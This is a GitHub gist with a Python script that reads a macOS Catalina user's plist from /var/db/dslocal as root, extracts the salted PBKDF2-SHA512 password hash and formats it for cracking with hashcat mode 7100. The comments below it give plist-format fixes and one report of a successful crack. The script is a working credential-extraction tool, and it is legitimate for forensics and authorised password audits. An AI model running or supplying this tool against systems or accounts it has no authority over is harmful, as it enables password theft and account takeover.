-
-
Save teddziuba/3ff08bdda120d1f7822f3baf52e606c2 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python3 | |
""" | |
Mac OSX Catalina User Password Hash Extractor | |
Extracts a user's password hash as a hashcat-compatible string. | |
Mac OSX Catalina (10.15) uses a salted SHA-512 PBKDF2 for storing user passwords | |
(hashcat type 7100), and it's saved in an annoying binary-plist-nested-inside-xml-plist | |
format, so previously reported methods for extracting the hash don't work. | |
** You must be root to do this. ** | |
Example Usage: | |
sudo ./osx_hash_extract.py <username> > hash.txt | |
hashcat -a 0 -m 7100 --username hash.txt wordlist.dat | |
""" | |
import plistlib | |
import sys | |
def read_user_plist(username): | |
plist_path = f"/var/db/dslocal/nodes/Default/users/{username}.plist" | |
with open(plist_path, "rb") as f: | |
plist = plistlib.load(f) | |
return plist | |
def extract_shadow_hash(user_plist): | |
# Nested binary plist | |
nested_bplist = user_plist["ShadowHashData"] | |
shadow_hash_plist = plistlib.loads(nested_bplist[0]) | |
shadow = shadow_hash_plist["SALTED-SHA512-PBKDF2"] | |
pbkdf2 = {"iterations": shadow["iterations"], | |
"entropy": shadow["entropy"][:64].hex(), # Only the first 512 bits | |
"salt": shadow["salt"].hex()} | |
return pbkdf2 | |
def format_hashcat(username, pbkdf2): | |
hc_line = f"{username}:$ml${pbkdf2['iterations']}${pbkdf2['salt']}${pbkdf2['entropy']}" | |
return hc_line | |
def main(args): | |
username = args[1] | |
user_plist = read_user_plist(username) | |
shadow = extract_shadow_hash(user_plist) | |
hc_input = format_hashcat(username, shadow) | |
print(hc_input) | |
if __name__ == "__main__": | |
main(sys.argv) |
Thanks for the script @teddziuba!
Can you please expand on https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2#file-osx_extract_hash-py-L42.
Only the first 512 bits
Why?
this is amazing. been looking for something like this for the longest, thank you so much!!
After considerable debugging, I found it necessary to manually specify the format.
If you get OverflowError, InvalidFileException, or ExpatError, try flipping the format manually. Sometimes you may need
shadow_hash_plist = plistlib.loads(nested_bplist[0], fmt=plistlib.FMT_XML)
and other times you may need:
shadow_hash_plist = plistlib.loads(nested_bplist[0], fmt=plistlib.FMT_BINARY)
Thanks for the script @teddziuba!
Can you please expand on https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2#file-osx_extract_hash-py-L42.
Only the first 512 bits
Why?
I don't know, but I tested it against my own credentials, with my own password in the wordlist, and hashcat cracked it right away.
@Rickorn622
You should use Python 3 and give an username as the argument of this script.